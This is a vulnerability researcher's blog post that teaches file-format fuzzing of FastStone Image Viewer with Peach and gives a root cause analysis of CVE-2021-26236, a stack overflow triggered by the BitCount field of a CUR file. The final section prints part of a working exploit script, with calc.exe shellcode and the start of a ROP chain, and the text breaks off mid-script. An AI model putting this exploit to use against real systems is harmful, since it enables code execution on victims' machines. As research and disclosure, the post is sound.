Fuzzing: FastStone Image Viewer & CVE-2021-26236
Introduction
In my precedent blog post I’ve introduced “fuzzing” from a theoretical point of view. As I’ve previously anticipated, today I’m going to disclose the fuzzing methodology, process and samples that led me to discover five different vulnerabilities in FastStone Image Viewer v.<=7.5. I’ll also go over the root cause analysis of CVE-2021-26236 and how to achieve Arbitrary Code Execution.
File Format Fuzzing
Despite File Format Fuzzing concept and workflow is quite easy to understand: a working file sample (baseline) is provided to the fuzzer which in turn mutates it, creating new test cases, and verify if the target application crashes or hangs while opening the test case; File Format Fuzzing provides new challenges and practical issues surrounding the testing methodology. For instance, how can we monitor the target process to identify a crash condition and extract meaningful data later used in the crash triage and exploitation phases?
We’ll look at automated testing methods using the old Peach Fuzzer Framework.
Like network fuzzing (they both are complex protocols), file format fuzzing has a lot of test re-use opportunities. If we write, for example, a JPG file fuzzer we will be able to test various applications handling image files, native Windows binaries and common open-source libraries.
Standard vs proprietary file formats (or protocols) have their own pros and cons:
- Standard files or protocols are attractive as they present multiple opportunities to re-use generated test cases.
- While standard files or protocols harness are easier to set up as some documentation about them already exists, proprietary ones require huge upfront time cost for harness development and reverse engineering.
- On the other hand, proprietary files or protocols may be very complex to understand but that also means that fewer people had already looked into, making them a perfect vulnerability-rich attack surface.
The Target: FastStone Image Viewer
When speaking about fuzzing, one of the most common questions I get is: “How you choose a good target?” Let me tell you that there is nothing like a good or bad target but, just targets. Even already looked at and commonly fuzzed applications give out constant vulnerabilities (think about Google Chrome); of course, some of them will be easier to fuzz and harness than others.
I’ve decided to look into proprietary software, FastStone Image Viewer, for a mix of different reasons:
- It is a proprietary software, thus meaning a good reverse engineering session (useful to keep my reverse engineering skills sharp) and meaning that likely fewer people have spent time looking at it.
- It had some vulnerabilities in the past most of them triggering memory corruption issues.
- FastStone Image Viewer can operate on multiple file extensions, granting a huge attack surface. What’s the odds that, among all the format parsers, no one has at least one bug?
- It is one of the image viewer applications listed on Ninite, meaning that it is included as a bundled application on many systems installations. It is also frequently updated and with many downloads (13,885,983) on Cnet only, not counting other mirrors or software’s vendor website.
CNET Stats:- Last updated on 03/19/20
- Total Downloads 13,885,983
CUR File Format
When dealing with File Format Fuzzing, the first thing that I ever do is trying to understand the format I’m dealing with; not only because it’s intrinsically interesting but because, in the event of a crash, the time spend upfront understanding the format specification comes back as good understanding on how the format works and where the bug in the file lay, thus reducing the time spent on the exploit development phase.
FastStone Image Viewer is capable of dealing with a plethora of different file formats: BMP, CUR, GIF, ICO, JPEG, etc.
Among them, I’ve picked the CUR file format not only because it’s easier to understand if compared to PNG or JPG file formats but also because, looking at the history of CVEs affecting FastStone Image Viewer, nobody focused on the CUR format as most common extensions (JPG/PNG) were preferred.
When dealing with file formats or protocols I always use 010 Editor because it already comes with templates for the most known and used file formats and also because it makes easy to prototype and sketch templates for unknown/proprietary file formats.
Unfortunately, even if CUR files are super common, 010 Editor does not have a template for them, so I’ve spent some time developing one (it can be found along with every other code snippet of this article on my GitHub repo).
I won’t go into details about how 010 Editor templates’ works nor on how to build them but it can become the focus for later posts.
CUR file format is used for non-animated cursors in Microsoft Windows. It’s worth noting that is almost identical to the ICO image file format. The main differences between these two formats are the bytes used to identify them (magic bytes/signature) and the addition of a “hotspot” field in the CUR format header. The hotspot field is defined as the pixel offset (in x, y coordinates) from the top-left corner of the cursor image where the user is actually pointing the mouse.
It's not too hard to find references for Cur file format specification to start building our own template, which is of great help as we can freely explore the data structure and highlight interesting bits of information when needed.
Funny to note that CUR images, if not compressed, can also be viewed in raw bytes:
Peach Framework
Despite being an ancient fuzzer and Windows OS being the biggest bottleneck for fuzzing (it cannot support persistent /in-memory fuzzing as it is not able to fork()
), Peach can still prove as a valid entry-level fuzzer.
We can use Peach in two ways:
- Dumb: where we provide Peach with a baseline file that will be mutated in succession.
- Smart: where we provide Peach with a “pit” file describing the format/structure of the file to mutate.
In both cases peach will:
- Open the target application.
- Mutate the file.
- Loads the mutated file.
- Wait to see if it triggers a crash in the application.
- After a predetermined amount of time or when a crash happens, terminate the application and start over.
Dumb Approach
For the “dumb” way the configuration is pretty easy:
- Create a folder where Peach will generate test cases (e.g.,
C:\peach\samples
). - Load any cursor file you like in the above folder, Peach will mutate them and feed them to the target application.
- Create a folder where Peach will save test cases causing crashes (e.g.,
C:\crashes
). - Create the “pit” configuration file (
cur_dumb.xml
)
<?xml version="1.0" encoding="utf-8"?> <Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd"> <DataModel name="TestTemplate"> <Blob /> </DataModel> <StateModel name="State" initialState="Initial"> <State name="Initial"> <Action type="output"> <DataModel ref="TestTemplate" /> <!-- Directory from where to load test cases to mutate --> <Data name="data" fileName="C:\peach\samples/*.cur"/> </Action> <Action type="close" /> <Action type="call" method="LaunchViewer" publisher="Peach.Agent"/> </State> </StateModel> <Agent name="WinAgent"> <Monitor class="WindowsDebugger"> <!-- Target process and command line to open "fuzzed" test case --> <Param name="CommandLine" value="C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur" /> <!-- WinDbg folder --> <Param name="WinDbgPath" value="C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\" /> <Param name="StartOnCall" value="LaunchViewer" /> </Monitor> <Monitor class="PageHeap"> <!-- Target process name --> <Param name="Executable" value="FSViewer.exe"/> <!-- WinDbg folder --> <Param name="WinDbgPath" value="C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\" /> </Monitor> </Agent> <Test name="Default"> <Agent ref="WinAgent" platform="windows"/> <StateModel ref="State"/> <Publisher class="File"> <!-- "Fuzzed" Test Case Name--> <Param name="FileName" value="fuzz.cur" /> </Publisher> <Logger class="Filesystem"> <!-- Crashes Folder Location --> <Param name="Path" value="C:\crashes\" /> </Logger> </Test> </Peach>
You can test if your Peach Pit file has been configured correctly by opening cmd.exe (as an administrator), and running the following command:
peach.exe -1 cur_dumb.xml
You should be able to see the target application loading the sample CUR file and then almost immediately close:
Smart (Pit File)
Before we can start with the “smart” way, let me detail some information regarding the Peach’s Pit file structure. For the below explanation I’ve heavily relied on the Peach Fuzzing: Getting Started & Peach Fuzzer: Data Modelling resources.
- DataModel: it is used to define the structure of our data. We’ll use the DataModel to provide Peach with the data structure layout of the CUR file format.
- StateModel: it is responsible for managing the flow of data during the fuzzing process.
- Agents: are used for monitoring the behaviour of the target application during the fuzzing process. This includes capturing meaningful data during application crashes that may be triggered.
- Test Block: it correlates the configuration of the StateModel, Agents, and Publishers (which manages the data generated by the DataModel) into a single test case.
- Run Block: it defines which tests will be executed during the fuzzing process. It also manages logs generated by the Agents.
Let’s take a look at the CUR file specification so that we can define our Pit. Looking at the file format we can see that a CUR file is comprised of several fields beginning with a “Reserved”, a “Type” and an “ImageCount”. The “Entries” act as a “directory listing” of any image contained and is followed by an “Image” section which is, in turn, a structure of “InfoHeader” and “ImageData”. According to the CUR file specification, “Entries” and “Image” sections can occur multiple times.
Reserved Bytes |
Type Field |
ImageCount Field |
Entries Structure |
Entry 1 Structure |
Entry 2 Structure |
Image 1 Structure |
InfoHeader Structure |
ImageData Structure |
Image 2 Structure |
InfoHeader Structure |
ImageData Structure |
Let’s make a copy of the FileFuzzerGui.xml
template located in Path-to-Peach-installation\samples\FileFuzzerGui.xml
and save it as cur_smart.xml
. This template has a very simple DataModel already defined, which will simply generate the string “Hello World!”. We’re going to remove that string and rename our DataModel to “Cur.” You should have something similar to the following:
<DataModel name="Cur"> </DataModel>
When creating a file definition in Peach, several XML elements are available to define the type of data to be handled or generated.
Block Parameters
- Name: it allows us to create a unique name and to reference this name later when performing more advanced functions.
- minOccurs: defines the minimum number of times a block should occur. Defining a minOccurs value of 0 will inform Peach that this block is optional, and might not occur at all.
- maxOccurs: much like minOccurs, defines the maximum number of times our block will appear.
Let’s begin by creating a block within our DataModel to represent our “Reserved”, “Type” and an “ImageCount” fields (this block must occur at least once).
<DataModel name="Cur"> <Block name="Signature" minOccurs="1" maxOccurs="1"> </Block> </DataModel>
Now that we’ve created a block to hold our fields, let’s go ahead and provide Peach with the structure of this section.
Basic Elements
Peach primarily uses 4 elements for representing data:
- String: this element is typically used to represent strings of text or human-readable data. If you recall from the FileFuzzerGui template, Peach defined a “Hello World!” string element. Strings are very flexible and can even be used to represent numbers however, the same fuzz logic (mutations), will not be applied as if you had used the Number element instead.
- Number: as you would expect, this element is used to represent only numerical data. If the field might contain alphanumerical data, a string might be better suited.
- Flags: this element is used to represent bit flags. It has a child element, Flag which is used to define each bit, or bit range in a bit flag.
- Blob: it is typically used to represent binary data when we lack a proper definition.
Our first elements, the “Reserved” and “Type” fields, are 2-byte long fields that will always contain the hex value, 0x00000200
. Let’s go ahead and create a definition for this inside our “Signature” block.
Even if this element can be easily represented as a <Number>, for this tutorial we’ll use a <String> to demonstrate its use.
<DataModel name="Cur"> <Block name="Signature" minOccurs="1" maxOccurs="1"> <!-- Reserved + Type (expressed in Little Endian Format) --> <String name="CurSignature" value="0x00000200" valueType="hex" token="true" mutable="false"/> <Number name="ImageCount" size="16" endian="little" signed="false"> <!-- ImageCount express the number of images contained by the .CUR file --> <Relation type="count" of="Entries" /> <Relation type="count" of="Image" /> </Number> </Block> </DataModel>
String Parameters
- value: this parameter tells Peach what value it should expect to see to match this field. Specifying a value also inherently provides Peach with the length for the string.
- valueType: this parameter lets Peach know how to interpret our data. Since specifications defined it as a hex value, we would need to specify a hex valueType otherwise Peach will literally interpret this as the text string ”00000200”.
- token: this parameter informs Peach that this string must exist and that Peach will need to identify it before continuing with the rest of the block. If a match doesn’t occur, Peach will move on to the next block in our DataModel.
- mutable: this parameter tells Peach whether or not to fuzz this field. By setting this parameter to false, we instruct Peach not to modify this field directly, however, this does not mean that this data will not be overwritten by neighbouring fuzzed fields. In this example, we’ve chosen to mark this field as immutable because some applications handling files will automatically discard files with corrupted signatures (magic bytes).
Number Parameters
- size: it defines the size of our element. When using the Number element, sizes are defined in bits rather than bytes.
- endian: it defines the byte-order of our number; Peach automatically defaults to little-endian.
- signed: it determines the signedness (signed or unsigned) of our number. If this option is not specified, Peach defaults to signed (true).
We can no go over and finish the remaining “Entries” and “Image” blocks:
<Block name="Entries" minOccurs="0" length="16"> <Number name="Width" size="8" endian="little" signed="false"/> <Number name="Height" size="8" endian="little" signed="false"/> <Number name="ColorCount" size="8" endian="little" signed="false"/> <Number name="Reserved" size="8" endian="little" signed="false"/> <Number name="xHotSpot" size="16" endian="little" signed="false"/> <Number name="yHotSpot" size="16" endian="little" signed="false"/> <Number name="SizeinBytes" size="32" endian="little" signed="false"> <!-- ImageBlob.size=SizeinBytes-InfoHeader.length --> <Relation type="size" of="Image" /> </Number> <Number name="FileOffset" size="32" endian="little" signed="false"/> </Block> <Block name="Image" minOccurs="0"> <!-- InfoHeader --> <Number name="Size" size="32" endian="little" signed="false"/> <Number name="Width" size="32" endian="little" signed="false"/> <Number name="Height" size="32" endian="little" signed="false"/> <Number name="Planes" size="16" endian="little" signed="false"/> <Number name="BitCount" size="16" endian="little" signed="false"/> <Number name="Compression" size="32" endian="little" signed="false"/> <Number name="ImageSize" size="32" endian="little" signed="false"/> <Number name="XpixelsPerM" size="32" endian="little" signed="false"/> <Number name="YpixelsPerM" size="32" endian="little" signed="false"/> <Number name="ColorsUsed" size="32" endian="little" signed="false"/> <Number name="ColorsImportant" size="32" endian="little" signed="false"/> <!-- Image Data --> <Blob name="ImageBlob"/> </Block>
Size Relations
Relations are one of Peach’s most powerful features. In this case, we can go ahead and use a size relation to inform Peach that the size of “ImageBlob” is located in “SizeinBytes”. Additionally, this relation will work both ways so that when we begin fuzzing, if the amount of data in “ImageBlob” increases, Peach will update “SizeinBytes” to contain the correct value (or not depending on the fuzz strategy).
Size Relation Parameters
- type: it will define the type of relation to use. In this article, we’ll only discuss the “size” relation.
- of: it specifies which element to reference in this relation.
We should now add the StateModel:
<!-- Define a simple state machine that will write the file and then launch a program using the FileWriterLauncher publisher --> <StateModel name="State" initialState="Initial"> <State name="Initial"> <!-- Write out contents of file --> <Action type="output"> <DataModel ref="Cur" /> <!-- Directory from where to load test cases to mutate --> <Data name="data" fileName="C:\peach\samples/*.cur"/> </Action> <!-- Close file --> <Action type="close" /> <!-- Launch the file consumer --> <Action type="call" method="LaunchViewer" publisher="Peach.Agent"/> </State> </StateModel>
StateModel Parameters
- Name: the name parameter allows us to define a name for this StateModel. More complex Pits can contain multiple StateModels so defining a unique name is best in the event you need to reference this element later.
- initialState: as the name implies, defines the first State to be used in the StateModel. Each StateModel can utilize multiple States depending on the fuzzer’s requirements.
Luckily for us we only need a single State; multiple States are more common in complex network fuzzing rather than file format fuzzing. The purpose of each State is to act as a container for the Action element.
The Action element instructs Peach on what to do with our data. Before we modify the Actions defined in our template, let’s briefly discuss the options available to Action elements.
- type: it defines the purpose of the action. For instance, our first action type is “open.” This action is responsible for opening the file and preparing it for any further actions to be performed.
- Publisher: it defines which publisher we would like to pass this data to. Our actions instruct Peach to use the file publisher to opening the file, writing fuzzed data and saving the file. The last action defines the “launch” publisher responsible for opening the target application to be fuzzed.
- method: it identifies the application consumer. This parameter is only valid for Action type “call”.
Agent
The Agent is responsible for monitoring our application and recording any crashes that our fuzzer might trigger. Peach uses Microsoft’s “!exploitable” WinDbg plugin which is able to classify and measure the exploitability of crashes. Further information on “!exploitable” can be found here.
<Agent name="WinAgent"> <Monitor class="WindowsDebugger"> <!-- Target process and command line to open "fuzzed" test case --> <Param name="CommandLine" value="C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur" /> <!-- WinDbg folder --> <Param name="WinDbgPath" value="C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\" /> <Param name="StartOnCall" value="LaunchViewer" /> </Monitor> <Monitor class="PageHeap"> <!-- Target process name --> <Param name="Executable" value="FSViewer.exe"/> <!-- WinDbg folder --> <Param name="WinDbgPath" value="C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\" /> </Monitor> </Agent>
The <Agent> element acts as a container for our monitor configurations. Within our Agent container, we see that the template is configured to use the Windows Debug Engine as our primary monitor. We can also see two additional parameters defined within this monitor. The first parameter, “CommandLine” is used to define the path to the target application to launch and monitor, the filename of our fuzzed data, and any flags that may be needed to launch the application.
Tip: If you ever find that the application you are fuzzing is being launched but it appears that it’s not loading your fuzzed data, try adding a full path to the fuzzed file and wrap it in HTML encoded quotes (i.e., "C:\peach\fuzzed.cur"
)
Our next parameter defines the method to wait for before attaching the debugger. We’ll need to change this to the same value we provided to our <Action type=”call” …/> element within the StateModel.
Following that, we also see that the PageHeap Monitor is being enabled for our tests. This Monitor is used for debugging and recording data affecting the application’s heap; this parameter only accepts the executable name and does not require the full file path.
Test Block
The Test section of our template is responsible for tying everything together. It correlates our State and Agent configuration and allows us to configure our Publishers, the functions responsible for receiving and writing our fuzzed data to disk. Let’s take a look at the configuration for this section defined in the template.
<Test name="Default"> <Agent ref="WinAgent" platform="windows"/> <StateModel ref="State"/> <Publisher class="File"> <!-- "Fuzzed" Test Case Name--> <Param name="FileName" value="fuzz.cur" /> </Publisher> <Logger class="Filesystem"> <!-- Crashes Folder Location --> <Param name="Path" value="C:\logs\" /> </Logger> </Test>
You can see here that we let Peach know that we’ll be using our Agent and our named StateModel, State.
Here the final and heavily commented pit file with the added State Model, Agent and Test:
<?xml version="1.0" encoding="utf-8"?> <Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd"> <!-- Define our file format --> <DataModel name="Cur"> <Block name="Signature" minOccurs="1" maxOccurs="1"> <!-- Reserved + Type (expressed in Little Endian Format) --> <String name="CurSignature" value="0x00000200" valueType="hex" token="true" mutable="false"/> <Number name="ImageCount" size="16" endian="little" signed="false"> <!-- ImageCount express the number of images contained by the .CUR file --> <Relation type="count" of="Entries" /> <Relation type="count" of="Image" /> </Number> </Block> <Block name="Entries" minOccurs="0" length="16"> <Number name="Width" size="8" endian="little" signed="false"/> <Number name="Height" size="8" endian="little" signed="false"/> <Number name="ColorCount" size="8" endian="little" signed="false"/> <Number name="Reserved" size="8" endian="little" signed="false"/> <Number name="xHotSpot" size="16" endian="little" signed="false"/> <Number name="yHotSpot" size="16" endian="little" signed="false"/> <Number name="SizeinBytes" size="32" endian="little" signed="false"> <!-- ImageBlob.size=SizeinBytes-InfoHeader.length --> <Relation type="size" of="Image" /> </Number> <Number name="FileOffset" size="32" endian="little" signed="false"/> </Block> <Block name="Image" minOccurs="0"> <!-- InfoHeader --> <Number name="Size" size="32" endian="little" signed="false"/> <Number name="Width" size="32" endian="little" signed="false"/> <Number name="Height" size="32" endian="little" signed="false"/> <Number name="Planes" size="16" endian="little" signed="false"/> <Number name="BitCount" size="16" endian="little" signed="false"/> <Number name="Compression" size="32" endian="little" signed="false"/> <Number name="ImageSize" size="32" endian="little" signed="false"/> <Number name="XpixelsPerM" size="32" endian="little" signed="false"/> <Number name="YpixelsPerM" size="32" endian="little" signed="false"/> <Number name="ColorsUsed" size="32" endian="little" signed="false"/> <Number name="ColorsImportant" size="32" endian="little" signed="false"/> <!-- Image Data --> <Blob name="ImageBlob"/> </Block> </DataModel> <!-- Define a simple state machine that will write the file and then launch a program using the FileWriterLauncher publisher --> <StateModel name="State" initialState="Initial"> <State name="Initial"> <!-- Write out contents of file --> <Action type="output"> <DataModel ref="Cur" /> <!-- Directory from where to load test cases to mutate --> <Data name="data" fileName="C:\peach\samples/*.cur"/> </Action> <!-- Close file --> <Action type="close" /> <!-- Launch the file consumer --> <Action type="call" method="LaunchViewer" publisher="Peach.Agent"/> </State> </StateModel> <Agent name="WinAgent"> <Monitor class="WindowsDebugger"> <!-- Target process and command line to open "fuzzed" test case --> <Param name="CommandLine" value="C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur" /> <!-- WinDbg folder --> <Param name="WinDbgPath" value="C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\" /> <Param name="StartOnCall" value="LaunchViewer" /> </Monitor> <Monitor class="PageHeap"> <!-- Target process name --> <Param name="Executable" value="FSViewer.exe"/> <!-- WinDbg folder --> <Param name="WinDbgPath" value="C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\" /> </Monitor> </Agent> <Test name="Default"> <Agent ref="WinAgent" platform="windows"/> <StateModel ref="State"/> <Publisher class="File"> <!-- "Fuzzed" Test Case Name--> <Param name="FileName" value="fuzz.cur" /> </Publisher> <Logger class="Filesystem"> <!-- Crashes Folder Location --> <Param name="Path" value="C:\logs\" /> </Logger> </Test> </Peach> <!-- end -->
Running Our Fuzzer
Before you try to run anything, you should always check with PeachValidator that the XML (Pit file) you are submitting to Peach is formally valid and that it does not raise any error while parsing the specified file format.
Now that we’ve finished our Pit, we’ll need to go ahead and do a test run before we kick off the fuzzer. The first test case does not actually fuzz our sample data. It’ll parse the sample zip file, regenerate another copy and provide this data to our target application.
To do so, we’ll run the following command:
peach.exe -1 --debug cur_smart.xml
After executing that command, Peach will go ahead and parse our test CUR file using the DataModel we created, dump the output to a single file without applying any mutations on it, and provide it to the target application. This is essentially a dry run. Peach will make sure that the Application is properly receiving the file that we’ve provided and ensure that the Peach Agent detect the process and wait for it to exit (or be killed). If a fault is thrown or something goes wrong, the first test case will fail and Peach (even without the -1 parameter) will exit the fuzz process.
However, if all goes well, you should see something similar to the following:
Before we start our fuzzer, we’re going to discuss one additional command line parameter. The random mutation strategy used by Peach also provides us with a seed number so that in the event our fuzzer crashes or we’d like to replicate a test case later, we can specify the seed number and the iteration to be able to return to that exact test case. The seed value will be generated at the start of each new test and will also be stored in the status.txt file located within your specified log directory. So, if the fuzzed application crashes on say test case #100 using a seed value of 1234567890.12 we can resume our session by entering the following command:
peach.exe --seed 1234567890.12 --skipto 100 cur_smart.xml
Crash & Triaging
If we let our fuzzer running for a couple of hours (I’ve left mine running for half a day and had ~104 unique crashes), we’ll be greeted with a directory containing our crash data and some files:
- txt: provides us with a good bit of information should we ever need to revisit results from a previous fuzz. It lists the start time of our fuzz, the seed used as well as the specific test cases and the file used to generate a crash.
Within the Faults directory, we see several sub-directories, each denoting a specific class of crash as determined by “!Exploitable”.
Inside UNKNOWN_0x7e5b5c0d_0x7e2c470d
, for example, we see some directories: 11958, 25903, etc. (named after the test case number which triggered the crash). Opening one of these directories and we are presented with the following contents:
- action_1_Output_Unknown Action 1.txt: this file contains the data provided to the application when the crash was triggered. This will be useful when reproducing the crash and determining exploitability.
- txt & WindowsDebugEngine_description.txt: these files contain the stack trace generated at crash time, registers values as well as the information generated by “!Exploitable”.
It’s worth mentioning that while “!Exploitable” is useful in identifying unique crashes, its ratings should be manually reviewed as it only looks at the first exception and does not explore what will happen after it, for example, a read access violation will trigger an exception handled within the software but later EIP is overwritten with user-controllable data.
(1630.234c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe FSViewer+0x1bdf49: 005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? eax=1101ffff ebx=00481c9c ecx=42bef4a6 edx=000005f0 esi=00481c9c edi=07251dfc eip=005bdf49 esp=0019f568 ebp=0019fa10 iopl=0 nv up ei pl nz ac po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010213
Looking at the registers and faulting instruction, it looks like FSViewer is reading something unexpected into EAX but, if we skip the first exception, we’ll get this nice view:
Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 1111110f ?? ??? eax=00000000 ebx=00000000 ecx=1111110f edx=77a59f80 esi=00000000 edi=00000000 eip=1111110f esp=0019efb8 ebp=0019efd8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
Where the EIP register has been overwritten by the “1111110f” value. If we’ll be able to control how and where this value is read from, we can control the application flow = WIN WIN WIN.
If we open the FSViewer application within our debugger and parse the fuzzed CUR file, we can see that the following SEH record has been corrupted.
CVE-2021-26236: Root Cause Analysis
If we minimize the crash file and compare it with the baseline, we had provided the fuzzer with, we’ll discover that Peach changed the value of the BitCount structure, making it overly large:
Luckily, looking at the value ending up into EIP we can find some occurrences of it in our file and, overwriting some of them will confirm we have EIP control.
Now that we know where, we just need to understand why the crash is happening.
As FSViewer has an embedded “file explorer” allowing to preview supported image files we can suppose that, upon entering a new directory, it will search for and parse all supported image files to create a preview.
With that in mind I’ve loaded FSViewer in x64dbg and placed a breakpoint (with the API Break plugin) on the Windows ReadFile API, (kernel32.dll > ReadFile > Set breakpoint on API’s caller.
There’s a ReadFile at FSViewer.exe+BA64
that will get triggered many (thousand) times, a couple of them for parsing our file. As we know some structures’ size we can break, for example, where edi==0x28
.
Why EDI and why 0x28?
Looking at the ReadFile Windows API prototype we can see that:
BOOL ReadFile( HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped );
As we are in an x86 process, all the parameters need to be pushed on the stack before the API can receive the values and if we look at the ReadFile at FSViewer.exe+BA64
we can see exactly that:
0040BA60 | push eax | LPDWORD lpNumberOfBytesRead 0040BA61 | push edi | DWORD nNumberOfBytesToRead 0040BA62 | push esi | LPVOID lpBuffer 0040BA63 | push ebx | HANDLE hFile 0040BA64 | call <JMP.&ReadFile> | ReadFile
Where EDI register is handling the NumberOfBytesToRead
parameter’s value, while 0x28
is the fixed structure’s size for the BITMAPINFOHEADER
structure where our BitCount field resides.
At FSViewer.exe+1BDEC8
we encounter the following operations:
005BDEC8 | movzx eax, word ptr ss:[ebp-0x8A] 005BDECF | mov dword ptr ss:[ebp-0x34], eax
The BitCount field is read from the buffer into EAX and then saved at EBP-0x34
. Having placed a hardware breakpoint on EBP-0x34
(on access) we can break every time the software will try reading from it.
A bit later, at FSViewer.exe+1BDF01
:
005BDF01 | mov ecx, dword ptr ss:[ebp-0x34] 005BDF04 | mov eax, 0x1 005BDF09 | shl eax, cl 005BDF0B | mov dword ptr ss:[ebp-0x40], eax
Our BitCount value is read into ECX, EAX is loaded with 1 and at that point, the cause of the later crash happens:
shl eax, cl
, will perform a logical shift (to the left) on EAX by CL bytes. As we control the bytes in EXC and thus in CL, we can control the result of the operation. In this case, the result (0x2000000
) is larger than a 32-bit signed integer and it cannot be saved into EAX.
EAX now contains the value of 0x200
and later it is shifted another time by 2 bytes; now it holds a value of 0x800
.
The above value is now being used by the ReadFile function to read 0x800
bytes in a buffer (thus meaning we can directly control the number of bytes read) and, as there is no control on how many of them should we read, we end up corrupting the SEH Chain on the stack.
Now it’s just a matter of some cyclic patterns and offset calculations before we can have our nice exploit.
Exploit
I won’t discuss the matter of creating the exploit code here (despite being super interesting from a learning perspective) because this blog post is already long enough but you can always ping me if something is unclear (if you are interested in Windows Exploit Development you can attend one of the awesome Corelan Training or go over the free Corelan’s Exploit Writing resources).
Despite FastStone Image Viewer not employing any mitigation such as DEP, ASLR or Safe SEH, the exploit code I’ve made for Windows 10 cover both ASLR and DEP bypasses (meaning that enabling the mitigations without fixing the underlying bugs won’t be enough). I’ll suggest interested readers to go through the exploit source code in order to understand how the file format structure was preserved, where the ROP Chain and Stack Pivot were placed, what are the constraints and how the exploit can be improved and made more reliable; I’m always reachable on both Twitter and Discord (VoidSec#3405).
The exploit code is also available on my GitHub.
""" Exploit title: FastStone Image Viewer (FSViewer.exe) v. <= 7.5 - .cur BITMAPINFOHEADER 'BitCount' Stack Based Buffer Overflow (ASLR & DEP Bypass) Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com CVE: CVE-2021-26236 Date: 15/03/2020 Vendor Homepage: https://www.faststone.org/ Download: https://www.faststonesoft.net/DN/FSViewerSetup75.exe https://github.com/VoidSec/Exploit-Development/tree/master/windows/x86/local/FastStone_Image_Viewer_v.7.5/ Version: v.7.5 Tested on: Windows 10 Pro x64 v.1909 Build 18363.1256 Category: local exploit Platform: windows """ # Module info : #---------------------------------------------------------------------------------------------------------------------- #Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path #---------------------------------------------------------------------------------------------------------------------- #0x00400000 | 0x00abf000 | 0x006bf000 | False | False | False | False | False | 7.5.0.0 [FSViewer.exe] (C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe) #0x6ad80000 | 0x6adfe000 | 0x0007e000 | False | False | False | False | False | -1.0- [fsplugin05.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll) #0x6afb0000 | 0x6b011000 | 0x00061000 | True | True | False | False | False | -1.0- [fsplugin06.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll) #---------------------------------------------------------------------------------------------------------------------- #!/usr/bin/python import struct, sys print("\n[>] FastStone Image Viewer v. <= 7.5 Exploit by VoidSec\n") filename="FSViewer_v.7.5_exploit.cur" ################################################################################### # Shellcode # MAX Shellcode size: 556 # ImageData - ROP NOP - Rop Chain - Stack Adjustment = 776 - 144 - 68 - 8 = 556 # Custom calc.exe shellcode # size: 112 ################################################################################### shellcode=( "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7" ) if (len(shellcode)>556): sys.exit("Shellcode's size must be <= 556 bytes") ################################################################################### # Cur File Format # --------------------------------------------------------------------------------- # | Reserved | Type | Image Count | # | 00 00 | 02 00 | 02 00 | <- CUR file will contains two images # Entries: # | Width | Height | ColorCount | Reserved | XHotSpot | YHotSpot | SizeInBytes | File Offset | # | 30 | 30 | 00 | 00 | 01 00 | 02 00 | 30 03 00 00 | 26 00 00 00 | <- we'll corrupt the first image with rop chain & shellcode # | 20 | 20 | 00 | 00 | 02 00 | 04 00 | E8 02 00 00 | 56 03 00 00 | <- while leaving the 2nd one "untouched" a part from the stack pivot (should leave the cursor preview intact) # 1st Image Info Header: # | Size | Width | Height | Planes | BitCount | Compression | ImageSize | XpixelsPerM | YpixelsPerM | Colors Used | ColorsImportant | # | 28 00 00 00 | 30 00 00 00 | 60 00 00 00 | 01 00 | 89 30 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | # 1st ImageData(BLOB) # 2nd Image Info Header: # 2nd ImageData(BLOB) # --------------------------------------------------------------------------------- # BitCount will be used to read # number of bytes into a buffer triggering the buffer overflow # its value can be modified but we need to account for two operations happening into the software. # - SHL 1, 89 = 0x200 # - SHL 200, 2 = 0x800 (2048d) number of bytes to be read from the file # we'll have to pad the image data to match it's size in bytes defined in the header SizeInBytes # ImageData = SizeInBytes - ImageInfoHeader Size (330h-28h=308h 776d) ################################################################################### image_data_pad = 776 def create_rop_nop(): rop_gadgets = [ 0x6adc5ab6, # 0x6adc5ab6 (RVA : 0x00045ab6) : # DEC ECX # 